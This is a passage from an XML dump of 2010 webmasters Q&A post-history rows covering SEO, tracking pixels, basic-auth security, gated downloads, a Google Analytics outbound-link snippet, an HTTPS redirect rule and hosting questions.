fundamental needs and questions.&#xD;&#xA;&#xD;&#xA;If you want further advice, you'll have to give us more information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13721" PostHistoryTypeId="2" PostId="6831" RevisionGUID="cf8edf68-81f5-4368-b667-d7f3401fef0f" CreationDate="2010-12-17T16:00:41.543" UserId="3819" Text="Get backlinks (get your link placed on other websites).&#xD;&#xA;&#xD;&#xA;Bing and Yahoo are especially sensitive to backlinks and the anchor text of the backlink (what a link says). &#xD;&#xA;&#xD;&#xA;I'll venture to  say that your website doesn't have too many links pointing back to it which gives it low visibility to search engines, especially those not as sophisticated as Google.&#xD;&#xA;&#xD;&#xA;Finally, it's a good idea to generate a [sitemap][1] for your website that's available to search engines. Sitemaps make it easier for web crawlers to understand the navigation and hierarchy of your website. If you're using software like Wordpress, there are probably plug-ins/add-ons that generate sitemaps for you and automatically submit them to search engines.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Site_map" />
  <row Id="13722" PostHistoryTypeId="2" PostId="6832" RevisionGUID="a28b6668-0b65-4cb0-bebf-dd73bf03dfba" CreationDate="2010-12-17T16:43:54.670" UserId="2626" Text="**Background**  &#xD;&#xA;I work on a website that gets a fair amount of traffic, and as such, we have implemented different tracking pixels and techniques across the site for various specific reasons.&#xD;&#xA;&#xD;&#xA;Because there are many agencies who are sending traffic our way through email campaigns, print ads and SEM, we have agreements with a variety of different outside agencies for tracking these page hits. Consequently, we have tracking pixels which span the entire site, as well as some that are on specific pages only.&#xD;&#xA;&#xD;&#xA;We have worked to reduce the total number of pixels available on any one page, but occasionally the site is rendered close to unusable when one of these third-party tracking pixels fails to load. This is a huge difficulty on parts of the site where Javascript is needed for functionality built into the page, but is unable to initialize until a 404 is returned on the external tracking pixel. (Sometimes up to 30 seconds later)&#xD;&#xA;&#xD;&#xA;I have spent some time attempting to research how other firms deal with this sort of instability with third-party components, but have come up a bit short. The plan currently is to implement our own stop-gap method to deal with these external outages, but rather than reinventing the wheel, we wanted to find out how this is dealt with on other sites.&#xD;&#xA;&#xD;&#xA;**Question**  &#xD;&#xA;Is there a good set of guidelines that should be followed when implementing third-party tracking pixels?&#xD;&#xA;&#xD;&#xA;I would love to see some white papers or other written documents about how other people have dealt with this issue." />
  <row Id="13723" PostHistoryTypeId="1" PostId="6832" RevisionGUID="a28b6668-0b65-4cb0-bebf-dd73bf03dfba" CreationDate="2010-12-17T16:43:54.670" UserId="2626" Text="What guidelines should be followed when implementing third-party tracking pixels?" />
  <row Id="13724" PostHistoryTypeId="3" PostId="6832" RevisionGUID="a28b6668-0b65-4cb0-bebf-dd73bf03dfba" CreationDate="2010-12-17T16:43:54.670" UserId="2626" Text="&lt;tracking&gt;&lt;page-speed&gt;" />
  <row Id="13725" PostHistoryTypeId="2" PostId="6833" RevisionGUID="7ed71ac7-7d16-474c-9e11-ae67e83099da" CreationDate="2010-12-17T16:54:51.310" UserId="63" Text="You could store your media on [Amazon's S3 storage network][1]. This is a dump storage solution. It won't be able to handle scripts and any work but as a mechanism to store files it will be what your after! &#xD;&#xA;&#xD;&#xA;You can also combine with it with [Amazon CloudFront][2]. This will then serve your content from a location from different places depending on what is quickest for each indivdual user. &#xD;&#xA;&#xD;&#xA;Quote from Amazon:&#xD;&#xA;&#xD;&#xA;&gt; Using a network of edge locations around the world, Amazon CloudFront caches copies of your content close to end users, lowering latency when they download or stream your objects. The service also gives you the high, sustained data transfer rates needed to deliver large popular objects to end users at scale.&#xD;&#xA;&#xD;&#xA;You don't have to use Amazon of course, there are a number of content delivery networks, but that is the one I know about. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aws.amazon.com/s3/&#xD;&#xA;  [2]: http://aws.amazon.com/cloudfront/" />
  <row Id="13733" PostHistoryTypeId="2" PostId="6835" RevisionGUID="c9b89281-5bc6-4fb5-8e1b-83a076de093d" CreationDate="2010-12-17T18:37:48.030" UserId="2026" Text="I faced the same problem for a long period. Even til now. So i never relay on them at all. I use for [majesticseo][1] or google webmaster tools the same purpose.&#xD;&#xA;&#xD;&#xA;As per my experience, with proper pinging, yahoo index a page before than google and bing. then google and then Bing. &#xD;&#xA;&#xD;&#xA;  [1]: http://article-stack.com/knowledge/review-2/is-google-not-good-for-back-link-search.amty" />
  <row Id="13734" PostHistoryTypeId="2" PostId="6836" RevisionGUID="b360c346-8be7-4e13-a94c-765dfe006969" CreationDate="2010-12-17T18:00:33.170" UserDisplayName="Simon Swords" Text="I'm looking for general feedback on my website www.saaslounge.com.  I'm not sure if this is the correct place to post such a request so apologies in advance.&#xD;&#xA;&#xD;&#xA;I've spent a few days putting together a Joomla based website - www.saaslounge.com - which is a directory of web applications.  The concept is simple, people can sign up to the site and list their SaaS apps in the directory free of charge.  I have no intention of changing this model, for the site to work it needs to remain free.&#xD;&#xA;&#xD;&#xA;However what I would like to do is add more value to the site, and this is where you come in.  I've been thinking about ways that I could add more value, and by value in the case of a directory I specifically mean gather more data on the SaaS applications listen.  An obvious and easy example is to measure applications uptime and show this.  We currently also check each of the sites listed against our SaaS metric http://www.saaslounge.com/saas-metric to ensure that  they meet certain criteria.&#xD;&#xA;&#xD;&#xA;All thoughts and opinions are welcome. Oh, and I know the site design is shocking.  We'll get that sorted if the site becomes more popular." />
  <row Id="13735" PostHistoryTypeId="1" PostId="6836" RevisionGUID="b360c346-8be7-4e13-a94c-765dfe006969" CreationDate="2010-12-17T18:00:33.170" UserDisplayName="Simon Swords" Text="I've created a SaaS website directory, how can I improve it?" />
  <row Id="13736" PostHistoryTypeId="3" PostId="6836" RevisionGUID="b360c346-8be7-4e13-a94c-765dfe006969" CreationDate="2010-12-17T18:00:33.170" UserDisplayName="Simon Swords" Text="&lt;web&gt;&lt;web-applications&gt;&lt;saas&gt;&lt;directory-listing&gt;" />
  <row Id="13737" PostHistoryTypeId="17" PostId="6836" RevisionGUID="3329c109-daf5-477f-8f72-d456099c38f9" CreationDate="2010-12-17T19:05:50.603" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/10437/ive-created-a-saas-website-directory-how-can-i-improve-it" Text="" />
  <row Id="13738" PostHistoryTypeId="2" PostId="6837" RevisionGUID="84f4a21e-d3a7-4335-92c6-df891c488bd3" CreationDate="2010-12-17T19:11:18.263" UserId="1762" Text="I'm basically creating something off of my main domain www.mywebsite.com/intranet.&#xD;&#xA;I've created .htpasswd protection for that 'intranet' directory. &#xD;&#xA;&#xD;&#xA;I can't implement individual user passwords yet, and I want to use .htpasswd as an interim solution.&#xD;&#xA;&#xD;&#xA;How secure is this method?&#xD;&#xA;&#xD;&#xA;What steps should I take to make this more secure?  What permissions for .htaccess and .htpasswd?" />
  <row Id="13739" PostHistoryTypeId="1" PostId="6837" RevisionGUID="84f4a21e-d3a7-4335-92c6-df891c488bd3" CreationDate="2010-12-17T19:11:18.263" UserId="1762" Text="How secure is using .htpasswd to secure a directory?" />
  <row Id="13740" PostHistoryTypeId="3" PostId="6837" RevisionGUID="84f4a21e-d3a7-4335-92c6-df891c488bd3" CreationDate="2010-12-17T19:11:18.263" UserId="1762" Text="&lt;htaccess&gt;" />
  <row Id="13741" PostHistoryTypeId="10" PostId="6836" RevisionGUID="b3270969-b1c4-4419-8fa9-0c5d4459380d" CreationDate="2010-12-17T19:15:19.540" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13742" PostHistoryTypeId="2" PostId="6838" RevisionGUID="c32930f4-9d80-45eb-89a8-5b71e072daa3" CreationDate="2010-12-17T19:24:11.160" UserId="1253" Text="Here are the disadvantages of basic authentication according to [WikiPedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; Although the scheme is easily&#xD;&#xA;&gt; implemented, it relies on the&#xD;&#xA;&gt; assumption that the connection between&#xD;&#xA;&gt; the client and server computers is&#xD;&#xA;&gt; secure and can be trusted.&#xD;&#xA;&gt; Specifically, if SSL/TLS is not used,&#xD;&#xA;&gt; then the credentials are passed as&#xD;&#xA;&gt; plaintext and could be intercepted.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Existing browsers retain&#xD;&#xA;&gt; authentication information until the&#xD;&#xA;&gt; tab or browser is closed or the user&#xD;&#xA;&gt; clears the history. [1] HTTP does not&#xD;&#xA;&gt; provide a method for a server to&#xD;&#xA;&gt; direct clients to discard these cached&#xD;&#xA;&gt; credentials. This means that there is&#xD;&#xA;&gt; no effective way for a server to &quot;log&#xD;&#xA;&gt; out&quot; the user without closing the&#xD;&#xA;&gt; browser. This is a significant defect&#xD;&#xA;&gt; that requires browser manufacturers to&#xD;&#xA;&gt; support a 'logout' user interface&#xD;&#xA;&gt; element or API available to&#xD;&#xA;&gt; JavaScript, further extensions to&#xD;&#xA;&gt; HTTP, or use of existing alternative&#xD;&#xA;&gt; techniques such as retrieving the page&#xD;&#xA;&gt; over SSL/TLS with an unguessable&#xD;&#xA;&gt; string in the URL.&#xD;&#xA;&#xD;&#xA;As the word &quot;basic&quot; in its name implies it offers very basic protection but not much more then that. If you're going to using it as a stop gap measure until you can get a custom authentication scheme in place then it's definitely better then nothing. But if your goal is &quot;real&quot; security then you should be implementing a custom authentication system ASAP.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Basic_access_authentication#Disadvantages" />
  <row Id="13743" PostHistoryTypeId="2" PostId="6839" RevisionGUID="a43ba0b3-df6e-4f74-b417-c7c447a83a06" CreationDate="2010-12-17T20:09:11.747" UserId="2766" Text="I hope this is an appropriate forum for this topic. If not, I apologize.&#xD;&#xA;&#xD;&#xA;To rephrase the question, I am debating a new tactic that some marketers are trying to implement that goes against everything I know about site usability, retention, conversion, etc. Now, I need some hard evidence to back what I know to be true so that I can squash this down.&#xD;&#xA;&#xD;&#xA;The idea is simple. Advertise that we have white paper &quot;X&quot; and point the user to a custom landing page. This is where things have started going wrong. Here's the process:&#xD;&#xA;&#xD;&#xA; 1. Get to landing page&#xD;&#xA; 2. Fill out form to receive an email on how to download it (seriously...I know)&#xD;&#xA; 3. Thank you...check your email&#xD;&#xA; 4. Click link in email and get to a download page (branded similar to the original landing page)&#xD;&#xA; 5. File downloads automatically if it can. We also showcase other documents the user might be interested in.&#xD;&#xA;&#xD;&#xA;The process above was the best compromise I could sell them on. #5 is the hot point here though because they don't like the &quot;extra step&quot; when it could have ended with #4 if the email had a direct link to the file.&#xD;&#xA;&#xD;&#xA;So, I know there is so much wrong with this, but I cannot seem to sell 2 main things. I'm hoping you guys can point me in the right direction on these 2 things.&#xD;&#xA;&#xD;&#xA; 1. Why shouldn't they leave the site in the first place&#xD;&#xA; 2. Why, if #1 has to happen, should step #5 exist.&#xD;&#xA;&#xD;&#xA;Remember, professional opinions need to be left out of it. I need hard evidence to present to the product marketing manager later this afternoon.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13744" PostHistoryTypeId="1" PostId="6839" RevisionGUID="a43ba0b3-df6e-4f74-b417-c7c447a83a06" CreationDate="2010-12-17T20:09:11.747" UserId="2766" Text="Why do you need to keep users engaged through your site?" />
  <row Id="13745" PostHistoryTypeId="3" PostId="6839" RevisionGUID="a43ba0b3-df6e-4f74-b417-c7c447a83a06" CreationDate="2010-12-17T20:09:11.747" UserId="2766" Text="&lt;marketing&gt;&lt;usability&gt;&lt;user-engagement&gt;" />
  <row Id="13746" PostHistoryTypeId="2" PostId="6840" RevisionGUID="b16ba3d3-5cef-4fd8-8dfd-615c56c5cb34" CreationDate="2010-12-17T20:47:44.800" UserId="138" Text="I hate this. I hate it, hate it, hate it. Every time I see a website that makes me fxcking register just to get a fxking download I generally leave the site **because someone else is going to offer it for less work**.&#xD;&#xA;&#xD;&#xA;These sites also stink of marketing-collectors so when I see them, I feel that if I DO sign up, I'm going to get spammed to the end of the world and back.&#xD;&#xA;&#xD;&#xA;I know this is just anecdotal, but if you get enough anecdotal evidence that might be enough." />
  <row Id="13747" PostHistoryTypeId="2" PostId="6841" RevisionGUID="59ef26ba-8128-4827-a111-d21f61c49921" CreationDate="2010-12-17T20:53:45.673" UserId="3142" Text="Kevin, I have a renegade suggestion:&#xD;&#xA;&#xD;&#xA;Have them fill out a form with the various fields (first, last, email, etc.), **but do not validate the input.** In other words, allow a bogus email address still to bring them to a download (or maybe just a client-side verification the address *looks* valid). Outrageous, right? :-)  I don't know the percentage of compliance here, but by eliminating a step you might get a larger overall base. Therefore, if you double the base of users who are following through, and 50% of them give you bad data, you still have the same number of verifiable users/prospects.&#xD;&#xA;&#xD;&#xA;Also, for those who did give you bad data, you might still be able to convert them to selling opportunities, right? They have the white paper, and if that's a good experience, they'll come back for more. If the white paper is *not* convincing, whether they provided a verifiable email or not, you would not make a sale, so no different." />
  <row Id="13751" PostHistoryTypeId="5" PostId="6841" RevisionGUID="484c4901-9ca7-4cca-a69a-b4f055dc4e30" CreationDate="2010-12-17T21:19:35.630" UserId="3142" Comment="clarification, no change in meaning" Text="Kevin, I have a renegade suggestion:&#xD;&#xA;&#xD;&#xA;Have them fill out a form with the various fields (first, last, email, etc.), **but do not validate the input.** In other words, allow a bogus email address still to bring them to a download. You could still do something client-side to test whether the email *looks* valid. Outrageous, right? :-)  I can't predict what your percentage of compliance would be, but by eliminating a step you might get a larger overall base. &#xD;&#xA;&#xD;&#xA;To illustrate my point, suppose that loosening up might double the base of users who engage with you, and 50% of them give you false contact info, it turns out to be the same number of verifiable users/prospects. And there's a kicker...&#xD;&#xA;&#xD;&#xA;For the 50% who gave you bad data, you might still be able to convert them to a sale, right? They do have the white paper, and if that's a good experience, they'll come back for more. You just can't try to sell to them &quot;proactively&quot; until then. OTOH if the white paper is *not* convincing, whether they provided a verifiable email or not, you would not make a sale, so it's practically no different." />
  <row Id="13752" PostHistoryTypeId="2" PostId="6842" RevisionGUID="fb2ab570-ea21-4f6c-bb4a-8212e5897e2a" CreationDate="2010-12-17T22:29:13.110" UserId="2293" Text="This approach was a bit unespecific.&#xD;&#xA;&#xD;&#xA;My question at this point is: is the paper free or not?&#xD;&#xA;&#xD;&#xA;If it is free, please, let it be really free. I can agree with a captcha, not with a form for something free. Someone will download the paper and put it on rapidshare, 4shared, or even a rival website, for free and most people will end up downloading with less effort.&#xD;&#xA;&#xD;&#xA;If the paper isn't free, then you should ask for registration first and so on (note that risks I mentioned before still exists).&#xD;&#xA;&#xD;&#xA;And if you wanna track users for ensure you can inform then later about probably interesting papers, use a newsletter." />
  <row Id="13753" PostHistoryTypeId="2" PostId="6843" RevisionGUID="36fc7092-23ac-4ea9-bc49-bb6dcc0e6f42" CreationDate="2010-12-17T23:05:05.953" UserId="3303" Text="It depends on what you are trying to accomplish.  If someone hitting a landing page perceives value in what is being offered then they will not be worried about providing their name and email (real or fake).  If there is no perceived value then they will not bother.&#xD;&#xA;&#xD;&#xA;The only way to get 'hard evidence' is to do some testing.&#xD;&#xA;&#xD;&#xA;First off what is the Product Marketing Manager trying to accomplish?  What's the end goal?  If it's to generate leads then what you described above is method seen quite a bit.  There are also many other ways to generate leads (and to get qualified leads).&#xD;&#xA;&#xD;&#xA;Yes, step #5 should exist.  It would be considered 'up-selling'.  Just like when you walk into McDonalds and they ask 'Would you like fries with that?'&#xD;&#xA;" />
  <row Id="13754" PostHistoryTypeId="2" PostId="6844" RevisionGUID="4dbd19c4-883f-4bf7-9ecd-a00bde72cef3" CreationDate="2010-12-18T00:06:04.693" UserId="3959" Text="My topic seems to be solved by stackexchange engine but me (a human) couldn't find a solution here.&#xD;&#xA;&#xD;&#xA;As you may understand on subject, I have many repeated words on my site like &quot;comment&quot;, &quot;like&quot;, &quot;read more&quot; and also some system messages like &quot;mysql_result&quot;,&quot;error&quot;, &quot;php&quot; etc.&#xD;&#xA;&#xD;&#xA;I saw that my most valuable words are these on Webmaster's Tools. Some people suggests to load those texts from a js file and restrict access to those files. Or using iframes for those text areas. Both have some negative sides, too.&#xD;&#xA;&#xD;&#xA;I think about another solution which is using images instead of repeated texts but it is neither practical nor seems well.&#xD;&#xA;&#xD;&#xA;Thank you for suggestions.&#xD;&#xA;" />
  <row Id="13755" PostHistoryTypeId="1" PostId="6844" RevisionGUID="4dbd19c4-883f-4bf7-9ecd-a00bde72cef3" CreationDate="2010-12-18T00:06:04.693" UserId="3959" Text="How you solve &quot;preventing common words from Google&quot; issue?" />
  <row Id="13756" PostHistoryTypeId="3" PostId="6844" RevisionGUID="4dbd19c4-883f-4bf7-9ecd-a00bde72cef3" CreationDate="2010-12-18T00:06:04.693" UserId="3959" Text="&lt;seo&gt;&lt;google&gt;&lt;keywords&gt;" />
  <row Id="13757" PostHistoryTypeId="2" PostId="6845" RevisionGUID="c8498259-254a-4d2a-9760-fcebce714bd2" CreationDate="2010-12-18T00:11:18.087" UserId="1762" Text="I'm having trouble tracking outbound links from my page. I can see the visits to the page in Google Analytics.  I'm not seeing what I'm doing wrong. (Of course I've replaced the UA-XXXX code with my own code)&#xD;&#xA;&#xD;&#xA;Can anyone spot anything wrong?&#xD;&#xA;One interesting thing is that when I include the tracking function in the HEAD section, my page doesn't load correctly in Firefox. So, I checked the syntax and all seems ok.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've added this just before the closing &lt;/body&gt; tag.&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    var gaJsHost = ((&quot;https:&quot; == document.location.protocol) ? &quot;https://ssl.&quot; : &quot;http://www.&quot;);&#xD;&#xA;    document.write(unescape(&quot;%3Cscript src='&quot; + gaJsHost + &quot;google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E&quot;));&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    try{ &#xD;&#xA;    var pageTracker = _gat._getTracker(&quot;UA-XXXX-1&quot;);&#xD;&#xA;    pageTracker._trackPageview();&#xD;&#xA;    } catch(err) {} &#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;I have this just before the closin &lt;/head&gt; tag.&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    function recordOutboundLink(link, category, action) {&#xD;&#xA;    	try{&#xD;&#xA;    		var pageTracker = _gat._getTracker(&quot;UA-XXXX-1&quot;);&#xD;&#xA;    		pageTracker._trackEvent(category, action);&#xD;&#xA;    		setTimeout('document.location = &quot;' + link.href + '&quot;', 100);&#xD;&#xA;    	} catch(err)&#xD;&#xA;    	{}&#xD;&#xA;    }&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is an example of an outbound link:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.blahblah.com&quot; title=&quot;blah_site&quot; target=&quot;_blank&quot; onClick=&quot;recordOutboundLink(this, 'My Outbound Links', 'BLAH');return false;&quot;&gt;blah site&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13758" PostHistoryTypeId="1" PostId="6845" RevisionGUID="c8498259-254a-4d2a-9760-fcebce714bd2" CreationDate="2010-12-18T00:11:18.087" UserId="1762" Text="google analytics - tracking outbound links" />
  <row Id="13759" PostHistoryTypeId="3" PostId="6845" RevisionGUID="c8498259-254a-4d2a-9760-fcebce714bd2" CreationDate="2010-12-18T00:11:18.087" UserId="1762" Text="&lt;google&gt;&lt;analytics&gt;" />
  <row Id="13760" PostHistoryTypeId="2" PostId="6846" RevisionGUID="19ba34d3-f99f-4a39-a5d8-1855a0b91e3b" CreationDate="2010-12-18T01:14:43.190" UserId="233" Text="If the occurrences of &quot;mysql_result&quot;, &quot;error&quot; or &quot;php&quot; are the result of *PHP errors* on the site, then it should be obvious **you need to fix those errors!** Try and find which pages they appear on (search for example `mysql_result site:example.com` in Google) and fix and problems.&#xD;&#xA;&#xD;&#xA;Otherwise, **don't worry about it**. The keywords listed in GWT aren't necessarily the most &quot;valuable&quot;, they are just the most common. I have plenty of common words listed on various sites I've developed such as 'pts', 'ago', 'new' and 'its'. In nearly all cases only the top 1 or 2 keywords were directly relevant to the site, with 1-2 more relevant words mixed in lower down.&#xD;&#xA;&#xD;&#xA;Definitely do not use iframes or Javascript to load individual words or sentences, unless the site would make complete sense without said iframes or JS. Even then it's probably not worth the hassle and extra page load time." />
  <row Id="13761" PostHistoryTypeId="5" PostId="6839" RevisionGUID="c286349a-2e3f-4d47-af03-53cb247c922f" CreationDate="2010-12-18T01:41:11.237" UserId="2766" Comment="clarified &quot;hard evidence&quot;" Text="I hope this is an appropriate forum for this topic. If not, I apologize.&#xD;&#xA;&#xD;&#xA;To rephrase the question, I am debating a new tactic that some marketers are trying to implement that goes against everything I know about site usability, retention, conversion, etc. Now, I need some hard evidence (read as best practice documents from reliable sources) to back what I know to be true so that I can squash this down. I totally understand that the only hard evidence is data and I am working that angle on my own.&#xD;&#xA;&#xD;&#xA;The idea is simple. Advertise that we have white paper &quot;X&quot; and point the user to a custom landing page. This is where things have started going wrong. Here's the process:&#xD;&#xA;&#xD;&#xA; 1. Get to landing page&#xD;&#xA; 2. Fill out form to receive an email on how to download it (seriously...I know)&#xD;&#xA; 3. Thank you...check your email&#xD;&#xA; 4. Click link in email and get to a download page (branded similar to the original landing page)&#xD;&#xA; 5. File downloads automatically if it can. We also showcase other documents the user might be interested in.&#xD;&#xA;&#xD;&#xA;The process above was the best compromise I could sell them on. #5 is the hot point here though because they don't like the &quot;extra step&quot; when it could have ended with #4 if the email had a direct link to the file.&#xD;&#xA;&#xD;&#xA;So, I know there is so much wrong with this, but I cannot seem to sell 2 main things. I'm hoping you guys can point me in the right direction on these 2 things.&#xD;&#xA;&#xD;&#xA; 1. Why shouldn't they leave the site in the first place&#xD;&#xA; 2. Why, if #1 has to happen, should step #5 exist.&#xD;&#xA;&#xD;&#xA;Remember, professional opinions need to be left out of it. I need hard evidence (read as best practice documents from reliable sources) to present to the product marketing manager.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13771" PostHistoryTypeId="2" PostId="6849" RevisionGUID="dbca0e0c-9eeb-4560-8a86-19c0b0b27c95" CreationDate="2010-12-18T06:26:35.817" UserDisplayName="Chirag" Text="I am looking for a free DNS service provider for a subdomain. Does anyone know who does it?" />
  <row Id="13772" PostHistoryTypeId="1" PostId="6849" RevisionGUID="dbca0e0c-9eeb-4560-8a86-19c0b0b27c95" CreationDate="2010-12-18T06:26:35.817" UserDisplayName="Chirag" Text="free dns providers for a subdomain" />
  <row Id="13773" PostHistoryTypeId="3" PostId="6849" RevisionGUID="dbca0e0c-9eeb-4560-8a86-19c0b0b27c95" CreationDate="2010-12-18T06:26:35.817" UserDisplayName="Chirag" Text="&lt;dns&gt;&lt;free&gt;" />
  <row Id="13774" PostHistoryTypeId="2" PostId="6850" RevisionGUID="ff35b6f5-f675-45e7-a015-e80e748516e4" CreationDate="2010-12-18T06:34:55.207" UserId="1253" Text="[ZoneEdit][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zoneedit.com/" />
  <row Id="13777" PostHistoryTypeId="2" PostId="6852" RevisionGUID="40cc402d-0a3c-4ecf-85c7-f12176a24b76" CreationDate="2010-12-18T10:30:28.107" UserId="1064" Text="    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTPS} !on&#xD;&#xA;    RewriteCond %{REQUEST_URI} !robots\.txt&#xD;&#xA;    RewriteRule .* https://www.domain.com$1 [R,L]&#xD;&#xA;&#xD;&#xA;Note that HTTPS is a more reliable indicator of whether or not SSL is enabled." />
  <row Id="13778" PostHistoryTypeId="2" PostId="6853" RevisionGUID="00031df4-697c-4758-9aab-43044400bccc" CreationDate="2010-12-18T14:32:36.510" UserId="3969" Text="Amazon EC2. You can easily scale there. 10,000 visitors can be easily handled by using a CPU intensive instance. And, it will cost you less than $100 per month" />
  <row Id="13779" PostHistoryTypeId="2" PostId="6854" RevisionGUID="7945e57e-4808-4507-800e-b11ab6ffce47" CreationDate="2010-12-18T14:43:09.903" UserId="3969" Text="Country matters a lot. Modern search engines give attention to the location of the hosting, so the site will rank better " />
  <row Id="13780" PostHistoryTypeId="2" PostId="6855" RevisionGUID="479fc3d6-865a-4c74-be06-3c74258dc519" CreationDate="2010-12-18T16:00:26.093" UserId="3969" Text="I am more of a programmer than an SEO expert. &#xD;&#xA;Whenever I develop a new website, no matter how good or bad it is, after the most of the development work is over, the ultimate question remains, how to bring visitors to a new website, how to let the world know of its existence. Search Engines are of no use, because they only help after visitors start coming to website." />
  <row Id="13781" PostHistoryTypeId="1" PostId="6855" RevisionGUID="479fc3d6-865a-4c74-be06-3c74258dc519" CreationDate="2010-12-18T16:00:26.093" UserId="3969" Text="How to bring visitors to a new website ?" />
  <row Id="13782" PostHistoryTypeId="3" PostId="6855" RevisionGUID="479fc3d6-865a-4c74-be06-3c74258dc519" CreationDate="2010-12-18T16:00:26.093" UserId="3969" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;traffic&gt;" />
  <row Id="13783" PostHistoryTypeId="6" PostId="6855" RevisionGUID="e573dd60-a55b-46c7-a096-8f7023920c44" CreationDate="2010-12-18T16:19:40.153" UserId="1253" Comment="Removed seo google search-engines tags, added marketing" Text="&lt;traffic&gt;&lt;marketing&gt;&lt;website-promotion&gt;" />
  <row Id="13784" PostHistoryTypeId="2" PostId="6856" RevisionGUID="cd780ebf-1d8e-43be-95e5-1f915f53879c" CreationDate="2010-12-18T16:20:01.300" UserId="2293" Text="&gt; Search Engines are of no use, because&#xD;&#xA;&gt; they only help after visitors start&#xD;&#xA;&gt; coming to website.&#xD;&#xA;&#xD;&#xA;This is not true. Search engines will index your site even if you got no real visit. The problem is: you will probably face a strong competition that will put you some pages behind.&#xD;&#xA;&#xD;&#xA;As your site get connected with others (other good sites linking to you) and you publish good quality content, you will start appearing in front.&#xD;&#xA;&#xD;&#xA;Now the main point: **NEVER** make your online strategy your unique marketing strategy. Other medias are also important when telling a new brand to the world." />
  <row Id="13785" PostHistoryTypeId="10" PostId="6855" RevisionGUID="8cd4d7c5-b7e8-477e-9a73-0756e1c5eaec" CreationDate="2010-12-18T16:21:54.193" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13786" PostHistoryTypeId="5" PostId="6855" RevisionGUID="f34658f7-f40b-46d9-96c5-915a796dd2fa" CreationDate="2010-12-18T16:21:54.350" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to start driving traffic to a new website?](http://webmasters.stackexchange.com/questions/3242/what-are-the-best-ways-to-start-driving-traffic-to-a-new-website)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am more of a programmer than an SEO expert. &#xD;&#xA;Whenever I develop a new website, no matter how good or bad it is, after the most of the development work is over, the ultimate question remains, how to bring visitors to a new website, how to let the world know of its existence. Search Engines are of no use, because they only help after visitors start coming to website." />
  <row Id="13787" PostHistoryTypeId="2" PostId="6857" RevisionGUID="bb118549-1c17-4f5b-ab8b-c149bfd49044" CreationDate="2010-12-18T17:03:42.857" UserId="3913" Text="Longevity is another consideration.  Do some searches on the provider and see how far back your results go.  If they've been around a while, they're much more likely to stay around.  Switching when a fly-by-night goes down and takes all your data with them is a painful process." />
  <row Id="13791" PostHistoryTypeId="2" PostId="6859" RevisionGUID="d782c9fb-dcaf-4a7d-8714-c1be8aefa1fc" CreationDate="2010-12-18T18:34:55.970" UserDisplayName="Bundarr" Text="A client of mine is looking for hosting and email. They will be using a blackberry and outlook for both email and calendar functionality. They are used to working in an office environment where outlook server and a blackberry server work together.&#xD;&#xA;&#xD;&#xA;Will Google apps fulfill the same roles as outlook server and does it sync well with blackberries. Will Google apps push to the blackberry new emails and calendar events?&#xD;&#xA;&#xD;&#xA;Otherwise they would have to go with an outlook email hosting plan which is 20$ a month. Google apps is 50$ a year.&#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated.&#xD;&#xA;&#xD;&#xA;Bundarr&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13792" PostHistoryTypeId="1" PostId="6859" RevisionGUID="d782c9fb-dcaf-4a7d-8714-c1be8aefa1fc" CreationDate="2010-12-18T18:34:55.970" UserDisplayName="Bundarr" Text="Can google apps be an alternative to outlook server with blackberry email and calendar" />
  <row Id="13793" PostHistoryTypeId="3" PostId="6859" RevisionGUID="d782c9fb-dcaf-4a7d-8714-c1be8aefa1fc" CreationDate="2010-12-18T18:34:55.970" UserDisplayName="Bundarr" Text="&lt;web-hosting&gt;&lt;email&gt;" />
  <row Id="13797" PostHistoryTypeId="2" PostId="6860" RevisionGUID="cfdc735a-cdbc-41b1-af43-7834ffda61ac" CreationDate="2010-12-18T19:50:44.013" UserId="132" Text="I've done this for some time. A BlackBerry can have &lt;a href=&quot;http://www.google.com/mobile/sync/&quot;&gt;Google Sync&lt;/a&gt; installed, which will synchronize emails, contacts, and calendars in both directions. It's easy to set up, and then you can forget it. The google calendars are integrated with the BB calendar, same with the contacts and the mail.&#xD;&#xA;&#xD;&#xA;There are quite a few &lt;a href=&quot;http://www.google.com/mobile/more/&quot;&gt;mobile apps&lt;/a&gt; available, some of which can tie into the Google Apps account." />
  <row Id="13798" PostHistoryTypeId="2" PostId="6861" RevisionGUID="812ebaed-2309-4c51-b0e6-708a7a1d8cc0" CreationDate="2010-12-18T20:24:12.520" UserId="663" Text="My website is recording a lot of 404 errors, from numerous sources, for a file `crossdomain.xml`. Does anyone know what this file is or why it's being requested?" />
